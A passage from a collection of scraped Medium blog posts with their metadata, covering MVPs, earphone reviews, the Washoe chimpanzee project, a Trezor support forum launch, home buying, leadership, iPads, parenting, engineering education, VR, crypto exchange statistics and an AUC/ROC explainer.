useful validation tool for your product that lets you improve your idea but also to know if it’ll fail. Some of your customers will not like your MVP for some reason, and your job is to find out why. An MVP with acceptance problems has not yet failed, it’s just incomplete. Sometimes, however, you might just have created the right product for the wrong customer. In general, you will have a choice: Adjust your MVP to solve the problem better Solve a different problem for your audience Look for another audience I recommend trying to salvage your MVP before scrapping it altogether. Conclusion Make a successful business with a digital product is very difficult when you try to jump some important steps such as user research, ux testing, ecc…, and creating an MVP of your product is the right choice to reduce the possibilities of failure. That doesn't mean that MVP gives you the superpower of creating only successful products, It’ll help you to evaluate ideas in the early stages and decide if investing money and time is worth it, either success or failure of the MVP will allow you to become a better entrepreneur. Thanks for reading!

https://medium.com/agileinsider/core-features-of-a-successful-mvp-b0ccf54e3c2e

['Denis Cangemi']

2020-10-22 19:31:30.511000+00:00

['Entrepreneurship', 'Productivity', 'Product Management', 'Business', 'Startup']

Best bluetooth earphones under 2000 in India 2020 ( Neckbands)

NOTE : — if you want to buy best neckbands please check-out my honest review. Then buy your best online products. Thanks you…. 1. JBL E25BT signature sound wireless neckbands PRODUCT REVIEW :- best bluetooth earphones under 2000 in India 2020 . The neck clip lets you easily and comfortably keep your headphones in place . Multi point connectivity allowing seamless switch between two devices headphones cable length 55.5 cm . My ratings 4.1 it’s really good and very comfortable . JBL signature high quality audio performance . Switch on the device , press and hold, volume buttons together more than . Battery life : 8 hours playtime . Compatible with : laptop, tablets, mobile, audio player, smartphones 2. Artis BE910M sports bluetooth wireless neckbands PRODUCT REVIEW : — best bluetooth earphones under 2000 in India 2020 . Sports bluetooth earphones with hd clarity , sharp sound, dual device pairing functions powerful bass . In built mic, volume control enables hands free calling and volume control with easy . My ratings 4.0 it’s really good and very comfortable . Which provides distortion free audio performance longer talk time . Battery life : 8 hours playtime, standby 360 hours . Compatible with : Smartphone, tablets, laptop . All bluetooth enabled devices 3. PLAYGO N33 wireless bluetooth neckbands PRODUCT REVIEW :- best bluetooth earphones under 2000 in India 2020 . Built in environmental noise reduction technology effectively reduce environmental noise . Smart charging design allows you to get rid of the trouble of looking for charging cables of different specifications . My ratings 4.1 it’s really good and very comfortable . A water resistant design protects playgo N33 bluetooth earphones against rain, water and sweat . Battery life : 12 hours playtime . Smart charging : 10 minutes charge 90 minutes playtime . High quality audio performance

https://medium.com/@studykaro24/best-bluetooth-earphones-under-2000-in-india-2020-neckbands-42c7a85b006b

['Vicky Singh']

2020-12-10 10:50:45.020000+00:00

['Gadgets', 'Blogging', 'Headphones', 'Review', 'Earphones']

The Fascinating Washoe Project

The Fascinating Washoe Project More than an experiment, a revelation of nature. Image by Pixabay Project Washoe is both fascinating and moving. The experiment took place on June 21, 1966 and was directed by Drs. Allen Gardner and Beatrix Gardner. A female chimpanzee named Washoe was considered the first non-human animal to learn to communicate by using the sign language and to show emotional connection. The Washoe Project, more than an experiment, it’s a revelation of nature. The Washoe Project Allen and Beatrix Gardner already had experience working with apes before starting the Washoe Project. By then, linguistics had become an area of great interest and the Gardners wanted to find out if it was possible to teach human language to animals. On two occasions, they had adopted chimpanzees to try to teach them to speak like humans. However, both attempts failed because the anatomy of the apes made articulated language impossible. When Washoe came into their lives, they had given up on teaching apes to speak. Instead, they thought that sign language was the most appropriate. Raising and educating Washoe The Gardners believed it was best to educate Washoe as if she were human. In other words, they would give the same nurturing given to a child. They wanted to know if the chimp was capable of learning language naturally, like a human baby does. Like so, Washoe had her own clothes, sat at the table, had her own personal items (such as, a toothbrush and combs), as well as books and toys. Washoe, an intelligent being All Washoe caregivers were required to use only sign language and refrain from using spoken language. They didn’t want her to feel different from others, implying that signing was the natural form of communication. Gradually, she learned to communicate with humans. In the end, the female chimpanzee knew over 350 words. Among the phrases that Washoe was able to learn, the following were recorded: “Time to eat” When she was asked, Who’s coming?, she answered, “Mrs. G” When she was told to go outside, she immediately reacted saying “OK, but first clothes,” and she would put on her jacket. and she would put on her jacket. When she was asked, What’s that? (while pointing at a shoe), she replied “a shoe”. Subsequently, when she was again asked about the color of the shoe, she answered “Black”. All in all, Washoe had her own personality and a great sense of humor. Image by Pixabay More Than An Experiment There were two events which caught the attention of the scientists and neither of them was foreseen in the Washoe Project: 1) Empathy The first unexpected event took place when one of the chimpanzee’s caretakers happened to take a maternity leave to give birth to a baby who, unfortunately, was born without signs of life. When the caregiver happened to return to work and meet Washoe, she used the sign language to break the bad news to the animal and explain the tragedy. Surprisingly, the chimpanzee looked down and then traced a teardrop on the grieving mother’s face with her finger. Washoe not only had a high level of understanding, but she could differentiate between emotions and felt empathy. 2) Self-awareness Next in order, when Washoe was put in front of a mirror and asked who was there, she answered “I, Washoe”. Scientists concluded that Washoe had a sense of self-awareness — a higher cognitive function. The chimpanzee died in 1965. Many of those who knew about the project have requested that primates must be declared “non-human persons”. Likewise, the fact that Washoe was able not only to communicate, but also to form close personal relationships with humans, indicates that he was emotionally sensitive and deserves moral status. “Washoe was an emissary, bringing us a message of respect for nature,” — Mary Lee Jensvold Work with Washoe and other primates in sign communication led to the founding of the Great Ape Project, which hopes to include non-human great apes (chimpanzees, orangutans, and gorillas) within the community of equals, guaranteeing them the basic moral and legal protection that only humans currently enjoy in order to place them in the moral category of “people” rather than private property.

https://medium.com/age-of-awareness/the-fascinating-washoe-project-da76cb7b3126

[]

2020-12-29 19:58:24.759000+00:00

['Communication', 'Education', 'Learning', 'Environment', 'Language']

Trezor Forum: community support and troubleshooting

A new customer support resource is now available for Trezor users. Trezor Forum, located at https://forum.trezor.io is a public community forum where users can ask questions related to Trezor hardware wallets, Trezor software interfaces, and Bitcoin and other cryptocurrencies. To use Trezor Forum, new users will need to create a user profile by providing an email address and a password. For your privacy, it is best to create a new email address for this purpose. Once registered, users will be able to ask and respond to questions by posting new threads in the available categories. The forum can be searched and posts can be viewed without needing to register. Limiting exposure to scammers Trezor Forum has been launched in order to eliminate the high volume of scam groups posing as Trezor on Telegram and Reddit. As part of these efforts, Trezor’s official Telegram group will be deactivated. No official SatoshiLabs or Trezor representatives will be available via Telegram. Anyone who contacts you on Telegram claiming to be a Trezor Support agent or otherwise affiliated with Trezor should be considered a scammer and immediately blocked and reported. The official Trezor subreddit, r/TREZOR, will remain active for the foreseeable future. Direct messages (DMs) from scammers pretending to be Trezor support are still a major concern on Reddit, so bear in mind that official Trezor support will never DM you first. The Trezor subreddit will continue to be closely moderated and swift action will be taken against any attempt to defraud users. How to use Trezor Forum This community forum is meant to be a place to find answers to frequently asked questions and resolve common issues without needing to open a support ticket. The Trezor support portal will remain in place for those who need one-to-one email support, but we hope that our customers will use the forum to see if they can find answers there before opening a ticket, allowing us to improve our response time to more complex and specific support queries. If you do not solve your issue through using the forum, you can still contact Trezor support and open a ticket. Support tickets are dealt with in order of submission, so you will need to wait for a response. Do not open multiple tickets for a single issue, it will not result in quicker response, in fact it slows down the process for everyone. Search before posting Dedicated Trezor support agents will moderate the forum and answer questions raised by users. Before asking your question, use the search bar at the top of the site to check if another user has asked the same question and an answer has already been given. You may not receive a reply if you ask a question that has already been raised and answered. Duplicate questions will be removed periodically or merged into one thread, to keep information accessible and easy to read. Include all relevant information that you can share publicly If your question is not already addressed or under discussion in an open topic, feel free to create a new topic and ask your questions there. Be sure to include all details that might help troubleshoot your problem, especially if it is technical in nature. Never share sensitive information such as your real name, location, seed phrase or passphrase on the forum. Other information specific to your issue such as transaction IDs, addresses and public keys should not be shared publicly. Trezor Support agents may ask for details related to your problem, such as addresses and transaction IDs, or your order token. Only communicate these details by direct message. All official Trezor representatives are identified by a shield icon and a flair describing their role, as shown below. Remember to be civil and conduct yourself respectfully when speaking with Trezor support staff, or your access may be restricted. An overview of categories On Trezor Forum, you will be able to engage with Trezor support staff as well as the Trezor community by posting your query in the appropriate category. Over time, this should grow into an extensive resource covering any and all facets of hardware wallet and cryptocurrency technology, with a focus on achieving strong security and enhanced privacy using your Trezor device. Specific questions can still be directed to our personal Support agents by emailing support@trezor.io, but troubleshooting your device using the guides posted on the forum may help get to the root of the issue more quickly and in some cases help fix your issue immediately. Technical and logistical support Troubleshooting Tips and support for fixing issues with your hardware wallet or Trezor suite interface can be found here: Orders and shipping For help with an order you can reach out to one of our Community Support moderators by posting a new thread and providing your tracking number. Information about any expected supply delays can be found in this category. Coins and Transactions Learn more about supported cryptocurrencies and resolve transaction problems such as unconfirmed transactions, and network fees and sending crypto to the wrong addresses. Third-party wallets For information about how to use Trezor to secure and manage coins through third-party wallets and interfaces. We can’t provide support for other companies’ products. Educational resources For more information about using and securing cryptocurrencies, and general questions about networks, Trezor devices and other miscellaneous questions, check out the following categories:

https://blog.trezor.io/trezor-forum-community-support-and-troubleshooting-e0cfac90087c

[]

2021-06-21 14:36:47.058000+00:00

['Support', 'Articles', 'Bitcoin', 'Hardware Wallet', 'Cryptocurrency']

11 lessons learned walking away from my dream house in Jackson Hole

With that context, here are 11 lessons learned from my experience (including some things I got right, and some that I missed): #1 | Do some basic zoning research before you sign the purchase agreement. The house I put under contract was in violation of private road setback requirements, rendering the entire house a “nonconforming structure.” Not necessarily a deal breaker, but it increased the risk that remodeling permits (or new structures like a guest house) would be rejected by the county, especially given I wasn’t locally connected at the time. Other issues like restrictive covenants are often discovered only during post-contract diligence (found some in my title search, resulting in a collective deal breaker when added to zoning issues). But, basic zoning violations can be easier to spot in advance. I read through the zoning rules the day I signed the contract, and remember seeing the setback and wondering if the house was in violation — should have paused there. #2 | If it’s an investment property, get multiple estimates for rent potential. I worked with one of the best brokers (if not the best) in Jackson Hole (DM me for a referral!), who gave me reliable estimates. Even then, I connected with two local managers to sanity check those estimates. My target gross yield (rent / purchase price) in Jackson Hole was 6% — covering the cost of carrying the property (mortgage, taxes, etc.) with some margin for error. Your target yield will vary by market based on appreciation potential, demand stability, etc. #3 | Find an honest, top-ranked local broker. This is especially critical if you’re new to an area. I worked through some contacts in my network that had Jackson Hole connections until I got a great referral. Most brokers would’ve sold me a ton of junk by now, and I wouldn’t have been the wiser. #4 | All else equal, try to stay in a price range that qualifies for an FHA loan if you’re a first time homeowner. Getting 3.5% down mortgage dramatically magnifies potential gains if you’re confident in the long-term appreciation story and rental potential / your ability to cover costs. To double your equity or cash invested, the property only needs to increase 3.5% — of course, a 3.5% decrease wipes you out, so long-term confidence is key. You’ll have a higher carrying cost because of mortgage insurance premiums, so factor that into your target yield. #5 | Give yourself generous walk-away rights if possible. One of the upsides to working with my broker was her standard contract: it included a 15-day “any or no reason” walk clause. Most contracts allow the buyer to walk only upon finding some predefined defects through diligence, and only after the seller has an opportunity to cure. While a combination of the zoning defects and restrictive covenants (the house was explicitly marketed as covenants-free) would have been sufficient even without the “any or no reason” clause, it’s good insurance to have in place. #6 | Don’t be afraid to low ball in your initial offer and counter aggressively. I was able to get the sellers down to 10% below ask by starting at 20% below ask and holding relatively firm. We ultimately went through five rounds of offers / counters, which set a record for my broker this year. #7 | Ask for a seller’s credit. In my last counteroffer, I added a $15k credit that was accepted by the seller. Basically, you inflate purchase price (pay an extra $15k, which you can then borrow against — i.e., the bank covers 80% through the mortgage), then the seller pays up to $15k in your closing costs. The seller breaks even, but you decrease your upfront outlay at the cost of a slightly bigger mortgage and higher interest payments. #8 | If it’s an investment property (or you don’t have furniture from another property), ask for the property as-furnished. I added an as-furnished clause to my last counteroffer and the seller accepted. It would have significantly reduced another upfront cost to me and alleviated a huge headache delaying me from renting out the house. This is a great move if you’re buying an investment property / second home and the seller’s furniture is decent quality — less so if you’re buying a primary home and already have furniture. #9 | If your state permits it (Wyoming does), add a price non-disclosure provision. When you’re looking to sell down the line, prospective buyers won’t know your cost basis as a reference point in negotiations. In this case, buyers might have assumed I paid closer to asking price (which is public on Zillow / MLS) or the industry-norm 5% discount. This isn’t critical, but why not optimize for resale if you can? #10 | After a few counteroffers, suggest that the seller’s broker cut their fee to close the deal. In this case, the seller’s broker cut half their fee, enabling the seller to accept a lower price. If you can make that happen, you know you’re close to the seller’s lowest price. Brokers want to close deals when the bid is within striking distance to the seller’s “lowest” price— half fees are better than no fees! #11 | Consider engaging an architect during diligence if zoning rules are complex and you have improvements in mind. One of the upside drivers for this property was building a guest house. Covenants notwithstanding, any guest house would need to comply with road setbacks, slope restrictions, ridgeline restrictions, etc. It can be tough to diligence those rules yourself (i.e. this property was on the slope of a butte complicating matters), so engaging a local architect for a quick on-site review is often worth the cost.

https://medium.com/@alexrienzie/10-lessons-learned-from-buying-a-house-in-jackson-hole-then-walking-away-4e349bfa5b93

['Alex Rienzie']

2021-01-12 19:22:23.529000+00:00

['Financial Freedom', 'Investing', 'Advice', 'Real Estate', 'Lessons Learned']

The magic of leadership: beyond the illusion

The magic of leadership: beyond the illusion Lessons leaders can learn from magicians on how to make the impossible possible. Lyndon Rego Unsplash Leadership is not a science. It is more of an art. It is also about magic, the magic of doing things that seem impossible. Magic is very much on my mind. I just attended an innovation gathering hosted by AMI, the oldest innovation community in the US, titled Making the Impossible Possible. The conference was an exploration of magic. A team of magicians presented us with an array of mindbending card, coin and rope tricks, making things appear and disappear at will. But the magic wasn’t for the sake of mere entertainment. It served to explore the idea of what it takes to make magic happen. I found a lot of relevance to leadership. Magic takes belief, that something seemingly impossible is actually possible. The best-known expression in magic, Abracadabra, means “what I speak is what I create.” The words that articulate a vision are like a magic spell, an incantation to create a new reality. Magic, while mysterious and wonderous, is not the same as a miracle. It can be understood and replicated. We should have no illusions that magic happens with a snap of the fingers. Magic is truly the result of creativity, effort, failure, and practice. In the session I attended, the magicians revealed how they did the tricks they did but we could not easily replicate them. Their act was the result of much practice. In one act, for example, the magician borrowed a $20 note from a member of the audience and made it disappear and then reappear in the middle of a whole lime that he cut open. As we gasped, he revealed that there were more than a dozen ways he could do the trick. There are many solutions possible but it takes creativity and effort to find them and make them real. So, what does this mean for leaders making the seemingly impossible possible? Well, for one, the job of a leader is more difficult than that of a magician because a leader needs others to perform the magic — outcomes aren’t dependent on their own effort. If we look around the world, we see so many magical things that leaders have been able to invoke others to do — from building cathedrals, to putting a man on the moon, to inventing cures for age-old diseases. Some of these efforts took decades and tens of thousands of people; some took generations and centuries. The magic that the leader performed was to inspire people to believe it was possible and to motivate them to make it real. Sometimes it is the very difficulty of the vision — the greatness of the task — that motivates people the most. Great effort is only warranted by great goals. The architect Daniel Burnham wrote: “Make no little plans; they have no magic to stir men’s blood and probably themselves will not be realized. Make big plans; aim high in hope and work, remembering that a noble, logical diagram once recorded will never die, but long after we are gone be a living thing, asserting itself with ever-growing insistency. Remember that our sons and our grandsons are going to do things that would stagger us.” A great leader is then like a magician who makes great things possible but does so by getting others to believe and act. In the Seven Transformations of Leadership framework published in Harvard Business Review, the highest order of leadership is an Alchemist who can transform things. An Alchemist, says Bill Torbert, is “able to catch unique moments in the history of their organizations, creating symbols and metaphors that speak to people’s hearts and minds.” Magic is a summons to wonder, to dream, to believe… and do what it takes to make it real. Satya Nadella is a leader who exemplifies this quality of alchemy. As CEO for Microsoft, he has shifted the floundering tech giant into a new phase of growth by reframing its purpose and reshaping its businesses. Nadella had seen the center of gravity for computing move dramatically from Microsoft’s early days, from PCs to mobile computing, from software packages to apps, from devices and drives to the cloud, from products to services, from IT specialists to users. This called for a reboot of Microsoft’s very identity and its understanding of value creation. He stated, “It’s one of the key things that we’ve tried to reframe even what our mission is. I feel that, as a tech company, our core sense of purpose is how do we take this technology and democratize it, and its access, so that others can reap the benefits of technology.” Nadella has enabled the 100,000 person organization to embrace collaboration, on the inside and outside. He states, “We start by having respect for all views, of all of our employees. We definitely want to make sure that we are hearing their views, their opinions, and being very respectful from where they’re coming, and even seeking to understand, deeply, their concerns — and at the same time, being very clear about our principles, about the choices we make.” On the outside, Microsoft is partnering with other organizations and customers, seeing itself as enabler of the success of others. Nadella emphasizes this ethos, “That’s the realization that ultimately that’s what our business is about. But it comes with that understanding that, unless you’re making a lot of people successful around you, you’re not going to have a long-term business. I think this is what I feel the most proud of, and the most grounded in.” It is clear that Nadella’s outlook has inspired people within the organization to see themselves as vital, integral, and central to the trajectory of the future. The new Microsoft is a fundamentally different organization and the stock price of the company has risen 600% under Nadella’s watch. So the true magic of great leadership is to conjure up a great and worthy task that inspires people to rise up to take on themselves the hard work of doing the seemingly impossible. Antoine de Saint-Exupery stated: “If you want to build a ship, don’t drum up people to collect wood and don’t assign them tasks and work, but rather teach them to long for the endless immensity of the sea.” At my former organization, the Center for Creative Leadership, I launched an effort named Leadership Beyond Boundaries that cascaded to 30 countries and 500,000 people over the course of a decade. This effort scaled because it became a movement that empowered more people in organizations around the world with the means to incorporate and offer leadership development to their stakeholders. Like Microsoft, we worked to democratize the practice by enabling others to do what was once the realm of expensive specialists. With this, we also made leadership development more relevant, in fields such as education, entrepreneurship, public health, microfinance, and conflict mitigation. The magnitude of our vision — to democratize leadership development — drew people for whom this was deeply inspirational. It was through their efforts that the vision was translated into programs and carried into sector after sector in country after country. Magic and the great things we achieve are truly no illusion but the result of big ideas and great effort. We must see things in our minds and believe them to be true to be able to make them real in the real world. What is the magic you wish to create and what is it that you will speak to inspire people make the impossible possible? About the author: Lyndon Rego is the chief catalyst for CoMetta. He previously headed the Center for Entrepreneurial Leadership at the African Leadership University and led innovation at the Center for Creative Leadership (CCL). At CCL, he initiated a global effort that extended leadership development to half-a-million people in 30 countries.

https://medium.com/xcelerator-alg/the-magic-of-leadership-beyond-the-illusion-2a1526f057fb

[]

2019-11-28 06:20:17.001000+00:00

['Management And Leadership', 'Xcelerator', 'Leadership Development', 'Leadership', 'CEO']

5 Things To Know About Apple’s New iPad And iPad Air

With demand soaring for iPads amid widespread remote work and education, Apple Tuesday unveiled a major refresh to its iPad Air and an update to its entry-level iPad. For Apple’s iPad Air 4 (pictured above), the tablet has been “completely redesigned,” the company said. The eighth-generation iPad isn’t getting an equivalent overhaul but will still get some useful updates, including around performance. [Related: The 5 Biggest Things We Heard At Apple’s September Event] What follows are five key things to know about Apple’s New iPad and iPad Air. iPad Air, Fourth Generation: Display And Touch ID For its fourth generation, the iPad Air is getting a larger display and a change in its authentication approach. The iPad Air display size is being expanded to 10.9 inches, from 10.5 inches on the third-generation iPad Air 3. The display features 2,360 x 1,640 resolution, keeping the tablet display at 264 pixels per inch as on the predecessor model. The fourth-generation iPad Air also offers Liquid Retina display technology and anti-reflective coating, as on the iPad Pro. Unlike on the iPad Pro, which offers Face ID facial recognition, Apple is sticking with Touch ID fingerprint recognition for authentication on the fourth-generation iPad Air. However, the new iPad Air does get a major update on authentication-with Apple switching the location of the Touch ID sensor to the button on the top side of the tablet. This is the first time Apple has done something like this, and part of the rationale is to give the new iPad Air more of an edge-to-edge display design by eliminating the home button and shrinking the bottom bezel. iPad Air, Fourth Generation: Processor And Portability The fourth-generation iPad Air is also getting a brand-new processor from Apple, the A14 Bionic-which Apple is touting as the first 5-nanometer chip in the industry. The six-core processor gives the new iPad Air a 40 percent performance improvement and 30 percent faster graphics than on the previous iPad Air model, Apple said. The chip also offers 2X faster machine-learning performance, according to the company. All in all, the A14 Bionic is suited for many performance-intensive apps even with the thin-and-light form factor that the iPad Air is known for, Apple said. The fourth-generation iPad Air sticks to the same weight (1 pound) and thickness (measuring 0.24 of an inch thick) of the iPad Air 3. iPad Air, Fourth Generation: Other Specs The iPad Air 4 also switches to USB-C connectivity and features a redesigned speaker system, according to the company. On battery life, users can expect up to 10 hours of usage on a charge over Wi-Fi or nine hours over cellular. For the rear camera, Apple says that the new iPad Air will feature the same 12-megapixel wide-angle camera as in the iPad Pro (though the iPad Pro does have a second, 10-megapixel ultra-wide camera). The new iPad Air also supports use with an Apple Magic Keyboard or Smart Keyboard Folio, and with the second-generation Apple Pencil stylus. iPad, Eighth Generation: Details For its eighth-generation model, the entry-level iPad won’t see the sort of dramatic changes of the iPad Air. But it will get a big boost in performance with the addition of the A12 Bionic chip-best known as the processor in 2018 iPhones such as the iPhone XR. The A12 Bionic will improve CPU performance by 40 percent and graphics speeds by 2X compared with the seventh-generation iPad, according to Apple. The new iPad will retain the 10.2-inch display size and the ability to connect to Apple’s Smart Keyboard, as well as support for the first-generation Apple Pencil. Apple is promising the same battery life as on the iPad Air, with the new iPad offering up to 10 hours of usage over Wi-Fi or nine hours over cellular. Price And Availability Apple is ready to launch the eighth-generation iPad, but will be taking a little more time before it rolls out the fourth-generation iPad Air. Apple’s iPad Air 4 will be available in October for a starting price of $599 (Wi-Fi-only) or $729 (Wi-Fi + Cellular). Meanwhile, Apple’s iPad, eighth-generation, will be available to order Tuesday for a starting price of $329 (Wi-Fi-only), and will ship Friday. The Wi-Fi + Cellular model starts at $459.

https://medium.com/@sahas-dahal/5-things-to-know-about-apples-new-ipad-and-ipad-air-62cba584740d

['Sahas Dahal']

2021-01-10 09:57:46.164000+00:00

['Facts', 'Technology', 'iPad', 'Ipad Air', 'Apple']

4 fun ways to brush up your child’s general knowledge · Dr Dad

4 fun ways to brush up your child’s general knowledge · Dr Dad Parenthood Jul 26·3 min read General knowledge essentially allows your child to better understand and comprehend the many facets of the world and its functionality. Your child’s general awareness will only be stronger if he/she can relate to various subjects parallelly developing greater problem-solving skills and interactiveness. Not only can you as a parent instill information acquisition habits or take learning as fun. Hence here are some tactics to encourage your child to become more interested in learning and to improve his or her general knowledge. Constructive discussion on varied topics A good interactive family discussion can help your child to share and imbibe knowledge and information. It’s not enough to only gather information, it definitely needs sharing or a flow of ideas and even debates to sometimes rectify the myths to ensure that your child’s general knowledge improves. You can host a quiz session with many rounds based on various disciplines of knowledge. In order to persuade your child to participate enthusiastically, you can even keep rewards and positions for such contests. These classes might assist your child in expanding their general knowledge and developing social skills which can automatically fuel his/her participation in school or amongst friends. Introduce them to informational movies or books Insightful movies are an excellent audiovisual form for improving children’s through nonfiction content. Such colorful and engaging modes of learning are sometimes more appealing to children than traditional bookish approaches. If your child is immensely inclined towards a particular topic, you can introduce various movies regarding that genre. Encyclopedias can also be a good approach to inspire your youngster to learn more about a variety of topics. Emphasis more on making learning a continuous and never-ending process which will ultimately allow your child to be inquisitive about different things and hence fueling their general knowledge. Talk about the world by including various games Remember the game called atlas or name, place animal, thing? They can play a vital role in also encouraging your child to learn more about the world. Such games include not just playing but also learning the names of countries and their capitals. You can also use the globe to locate a country or discover what information is available about that region in the atlas. This may aid with their knowledge retention process. ​Emphasize making the right use of technology and media It is very essential for a parent to consider how the media might be a valuable source of knowledge about the world to your child. Assist them in using technology and media in a way that allows them to enjoy the goodness of knowledge, whether it’s on any platform, be it newspaper, television or internet. Do not forget to allow your child a set amount of screen time on a regular basis, on the condition that they use some of it to find new facts about the world on a daily basis. As kids mostly love to play games on the mobile or laptop, encourage them to play entertaining as well as learning-based games. Lastly, although reading a newspaper may appear to be archaic, it can still be a valuable source of general knowledge for any individual. It is no joke that your child can work wonders if he/she gets into the habit of reading and analysing newspapers. Source: TOI

https://medium.com/@parenthood7/4-fun-ways-to-brush-up-your-childs-general-knowledge-dr-dad-305f03f25ff9

[]

2021-07-26 08:01:54.035000+00:00

['Moms', 'Education', 'Dads', 'Children', 'Kids']

Igniting a fire: Educating a new wave of engineers

Engineering is one of the four STEM pillars, and it’s gaining stature in our technological world as an essential competency for personal and societal advance. Yet many youth are not acquainted with the discipline, finding it remote and perhaps even daunting in the abstract. Our task in engineering education is to bridge that gap — to find a way to show students how relevant engineering is to their daily lives and pursuits, how interesting and gratifying the field is, and how critical it is to solving the great challenges that face the world today. The word “engineering” is derived from the Latin words ingenium and ingeniare, and has to do with cleverness and devising things (think “ingenious”). It would be hard to imagine life as we know it without the myriad solutions humans have devised to survive and thrive in the world, such as the wheel. Today, engineering is merging with disciplines like science, medicine, art, business and other fields to develop solutions to such pressing challenges as curing disease; rolling back climate change; and creating smart, sustainable infrastructures for our cities. In my research into expanding participation in engineering, I take the view that broadening the contexts of engineering activities can enable more students to connect their interests to our discipline. When engaging in engineering activities, we try to provide students with broad themes focused on helping people, animals, the environment and more. This allows students to apply their knowledge and interests — in areas like the arts, sports, music, reading, writing, and making — through the engineering design process to solve real problems. For example, we’re creating a curriculum for the Purdue Engineering Initiative in Cislunar Space (the space between the Earth and the moon). The initiative involves things like an incubator and collaborative research to advance access to space, identify and use space resources, and conceive an infrastructure for space development and human life on the moon. We see an opportunity here for broadening student interest in engineering. Rather than focusing solely on rockets or rovers — both of which can be engaging to some students — we are seeking wider themes that introduce the complexities of a new way of living off Earth. This summer, we tested an activity with more than 40 students via a virtual camp. Students learned about Olympic sports (the camp was intended to coincide with the 2020 Summer Olympics), as well as gravity and basic physics principles. The students investigated how those sports might look and operate differently on the moon, and then designed new rules, equipment and gear that would make the Olympic results the same on the moon and Earth. Our overall goals are for students to think about human-centered problems and choose what they want to do, and then, as they develop solutions, for us to engage them in engineering and making activities that involve art, creativity, and technical know-how. Morgan Hynes, PhD Associate Professor, Engineering Education College of Engineering, Purdue University Related Links FACE (For All: a Chance to Engineer) lab Presentation: ‘Broadening Contexts to Broaden Participation in Engineering’ ASEE Annual Conference & Exposition paper: ‘Make-an-Engineer Introduction to Engineering Activity’ NSF grant funds Purdue research into STEM student success Professor Morgan Hynes receives NSF CAREER award Several Purdue Engineering Education projects earn NSF grants INSPIRE Research Institute for Pre-College Engineering Education Research

https://medium.com/purdue-engineering/igniting-a-fire-educating-a-new-wave-of-engineers-7ebe172f4b9f

['Purdue College Of Engineering']

2020-12-04 16:36:22.537000+00:00

['STEM', 'Speak Engr', 'Engineering Education', 'Students']

Virtual Reality — new opportunities

Peace To All! Today we decided to touch upon an interesting and relevant topic-virtual reality. Namely, the creation of various virtual objects and software for their use. Against the background of quarantine measures of the last year, interest in virtual functionality has increased significantly. Virtual technologies have entered many areas of human life — games, travel, advertising, medicine, and business. Nowadays, the use of virtual reality to their advantage has been learned in industry and transport, as well as in the field of education. You can also start using virtual products to solve your tasks. In any case, you will certainly be interested in meeting real professionals in the virtual industry. One of the leading companies developing virtual products is servreality it is distinguished by the fact that it provides a full range of services from the development of 3d objects and software to hardware implementation of the turnkey project. in addition, the company’s specialists create a simulated environment of high reliability for VR games and arcades, virtual reality apps reality and interesting product presentations. In general, it makes no sense to paint a lot, look at the portfolio on their website, and you will understand everything yourself.

https://medium.com/@ya-simeon/virtual-reality-new-opportunities-d578fe024084

['Semyon Yakobson']

2020-12-17 21:33:21.434000+00:00

['Virtual Apps', 'VR', 'Virtual Reality']

$13.8 Trillion Annual Spot Exchanges Trading Volume — 2019 Cryptocurrency Spot Exchange Industry Annual Report Shows

$13.8 Trillion Annual Spot Exchanges Trading Volume — 2019 Cryptocurrency Spot Exchange Industry Annual Report Shows TokenInsight Jan 14, 2020·4 min read TokenInsight has just released its Cryptocurrency Spot Exchange Industry Annual Report to give you every important detail you need to know in the cryptocurrency spot exchange industry in 2019. Key Points: （1）$13.8 trillion annual spot exchanges trading volume （2）48.29% BTC trading volume （3）Twice the total trading volume of ETH is twice that of EOS （4）0.78 Correlation between spot trading volume and BTC price trend （5）82% The top 40 exchanges ranked by total annual trading volume accounted for 82% of the entire trading market (254 exchanges); the rankings of exchanges change a lot within the year, and the wash trading amount still cannot be underestimated. （6） 18% of 227 exchanges surveyed support USD deposits （7）0.01% The trading volume of decentralized exchanges only accounts for 0.01% of the entire market, and the industry as a whole is still underdeveloped. （8）12 Countries/Regions have a positive attitude towards digital assets （9）28% Following a 28% decline in trading volume in the fourth quarter, the market is forecast to continue to be depressed, and the spot exchange industry may continue to be under pressure. In the 4th quarter of 2019, the top three exchanges with independent visitors were Binance, Coinbase Pro, and Upbit. （10） The United States, South Korea, and Russia are the three countries with the most significant monthly average number of independent users on industry-wide exchanges. （11）The layout of the exchange industry is targeted at the United States and Europe; various types of fiat currencies also have access to gold in market segment exchanges, and the threshold for digital asset allocation has significantly reduced in 2019. （12）Benefting from exchanges’ product characteristics, especially its profit model, exchange-based tokens have relatively dazzling performance in 2019. Still, the value will return in the second half of the year. If the mainstream digital assets such as BTC cannot open a new round of bull market in 2020, exchange-based tokens may continue to decline due to the shrinkage. 💡Download the full report

https://medium.com/@tokeninsight/2019-cryptocurrency-spot-exchange-industry-annual-report-d022d1c29e3f

[]

2020-01-15 08:51:11.629000+00:00

['Exchange', 'Bitcoin', 'Cryptocurrency', 'Binance']

An interesting and intuitive view of AUC and ROC curve

An interesting and intuitive view of AUC and ROC curve You don’t have to learn TPR, FPR, and a bunch of other stuffs before learning AUC. AUC, or area under ROC curve, is a metric widely used to evaluate model performance. A bunch of resources about AUC are available online. They usually start by explaining to the readers about true positives, sensitivity, type I, II errors, and FPR, etc. Many of them are nice and they explain the concepts in detail, but some concepts may confuse a few people without analytics background. What I’d like point out here is, one can actually learn AUC well without knowing all these technical terms. Let me start with a simple example showing how. Say a credit card company builds a risk score model to evaluate whether the customer can pay the bill on time. The data they have is labelled, 1 being customer not able to pay on time (risky) and 0 indicating the ones who pay on time. This is what the result looks like by taking a sample of 20 records (assuming there’re no repetitive scores): Let’s see how we can draw an ROC curve from these 20 records. We begin by drawing a square with (0,0) on the bottom left corner and (1,1) on the top right corner: Then, in these 20 records, we have five 1s and fifteen 0s, so we partition the y axis by 5 and the x axis by 15: Then, from high scores to low scores, the corresponding labels are 1,1,0,1,0,0, … , let’s replace 1 with ‘Up’ and 0 with ‘Right’, and we’ll get a new sequence: Up,Up,Right,Up,Right … Then starting from (0,0), draw your curve based on these ‘Up’s and ‘Right’s. One Up (or Right), one move. This is the ROC curve. The area below it is AUC. Let’s compare this with a perfect model. In a perfect model, any ‘1’ will have a higher score than any ‘0’. As a result, ranking from high scores to low scores, the corresponding labels would be 1,1,1,1,1,0,0,0,0,0, … and the ROC would be and the AUC is 1. Some observations: To make AUC high, you need more ‘Up’s showing up before ‘Right’s. This means, ‘1’s need to go before ‘0’s. And this means, the model is giving the targets (records with label 1) higher scores, so the model is better. AUC is between 0 and 1. AUC is a ranking metric (what matters is the score order but not the score 